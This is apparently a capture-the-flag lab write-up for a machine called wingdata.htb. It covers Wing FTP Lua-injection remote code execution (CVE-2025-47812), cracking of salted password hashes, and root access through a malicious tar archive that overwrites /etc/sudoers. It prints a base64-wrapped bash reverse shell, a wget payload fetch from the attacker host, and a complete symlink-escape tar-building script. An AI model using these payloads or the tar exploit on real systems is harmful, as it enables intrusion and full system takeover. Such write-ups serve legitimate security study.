1. Overview
This machine involved exploiting a vulnerable FTP management web interface to gain initial access, followed by credential extraction from application files. Privilege escalation was achieved by abusing an insecure backup restoration script that improperly handled tar file extraction, allowing arbitrary file writes and modification of system configuration files.
2. Recon
Starting off this machine, I ran the standard Nmap service and port scan to find any open ports:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open http Apache httpd 2.4.66
The scan found 2 open ports:
- 22 SSH
- 80 Apache Server
The scan also found the domain wingdata.htb, so I added it to my hosts file and visited the site. On the main page, I found a Client Portal button which redirected to a subdomain:
ftp.wingdata.htb
After adding this to my hosts file, I revisited the site and checked the footer, which revealed the service in use:
Wing FTP Server v7.4.3
This version is known to be vulnerable to unauthenticated remote code execution.
3. Foothold
The vulnerability (CVE-2025-47812) allows command execution due to improper handling of null bytes, leading to Lua code injection.
Using a public proof of concept exploit, I tested command execution:
└─$ python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c id
This confirmed code execution as the wingftp user.
To get a stable shell, I created a reverse shell payload:
└─$ echo "echo $(echo "bash -i >& /dev/tcp/10.10.15.160/9001 0>&1" | base64) | base64 -d | bash &" > shell.sh
I then hosted the file locally and used the exploit to download it onto the target:
└─$ python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c "wget http://10.10.15.160/shell.sh -O /dev/shm/shell.sh"
After setting up a listener, I executed the payload:
└─$ python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c "bash /dev/shm/shell.sh"
This provided a reverse shell as wingftp.
While enumerating the system, I found user data stored in:
/opt/wftpserver/Data/1/users/
Inside this directory were XML files containing password hashes:
<Password>d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca</Password> <Password>c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10</Password> <Password>a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03</Password> <Password>5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca</Password> <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
I extracted all hashes and then searched for the associated salt, which was located in:
/opt/wftpserver/Data/1/settings.xml
<SaltingString>WingFTP</SaltingString>
With both the hashes and salt, I used Hashcat to crack them and recovered valid credentials:
wacky:!#7Blushing^*Bride5
These credentials worked for SSH access.
4. Root
After logging in as wacky, I began privilege escalation enumeration. Running sudo -l revealed that a Python script could be executed as root:
/opt/backup_clients/restore_backup_clients.py
Reviewing the script showed that it used Python’s tarfile module and called extractall() on user-supplied archives without validating their contents. This is unsafe because tar archives can contain files with crafted paths or symlinks that point outside the intended extraction directory. When extracted, these entries can escape the target folder and overwrite arbitrary files on the system, which makes it possible to modify sensitive files like /etc/sudoers and gain elevated privileges.
To exploit this, I created a malicious tar archive that would overwrite the system’s sudoers configuration and grant full privileges.
import tarfile
import os
import io
username = os.getenv("USER")
output = "backup_9999.tar"
depth = 16
steps = "abcdefghijklmnop"
long_dir = "d" * 247
payload = f"{username} ALL=(ALL) NOPASSWD: ALL\n".encode()
with tarfile.open(output, "w") as tar:
path = ""
# Phase 1
for s in steps:
d = tarfile.TarInfo(os.path.join(path, long_dir))
d.type = tarfile.DIRTYPE
tar.addfile(d)
l = tarfile.TarInfo(os.path.join(path, s))
l.type = tarfile.SYMTYPE
l.linkname = long_dir
tar.addfile(l)
path = os.path.join(path, long_dir)
# Phase 2
linkpath = os.path.join("/".join(steps), "l" * 254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * depth
tar.addfile(l)
# Phase 3
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../../etc"
tar.addfile(e)
# Phase 4
h = tarfile.TarInfo("sudoers_link")
h.type = tarfile.LNKTYPE
h.linkname = "escape/sudoers"
tar.addfile(h)
# Phase 5
f = tarfile.TarInfo("sudoers_link")
f.size = len(payload)
tar.addfile(f, io.BytesIO(payload))
print("[+] Created:", output)
After generating the archive, I moved it into the expected backup directory:
wacky@wingdata:/dev/shm$ mv backup_9999.tar /opt/backup_clients/backups/
Then I executed the restore script:
wacky@wingdata:/dev/shm$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_pwn_9999
Checking sudo -l again shows that the exploit worked.
wacky@wingdata:/dev/shm$ sudo -l
User wacky may run the following commands on wingdata:
(ALL) NOPASSWD: ALL
Running sudo bash -p drops me into a root shell
5. Conclusion
Initial access was gained by exploiting a vulnerable version of Wing FTP Server that allowed unauthenticated command execution through Lua injection. This provided a shell as the wingftp user. From there, application files were used to recover password hashes and the associated salt, which led to valid SSH credentials after cracking.
Privilege escalation was achieved by abusing a backup restoration script that used unsafe tar extraction. By crafting a malicious archive, it was possible to overwrite the sudoers file and grant full administrative privileges, which resulted in root access.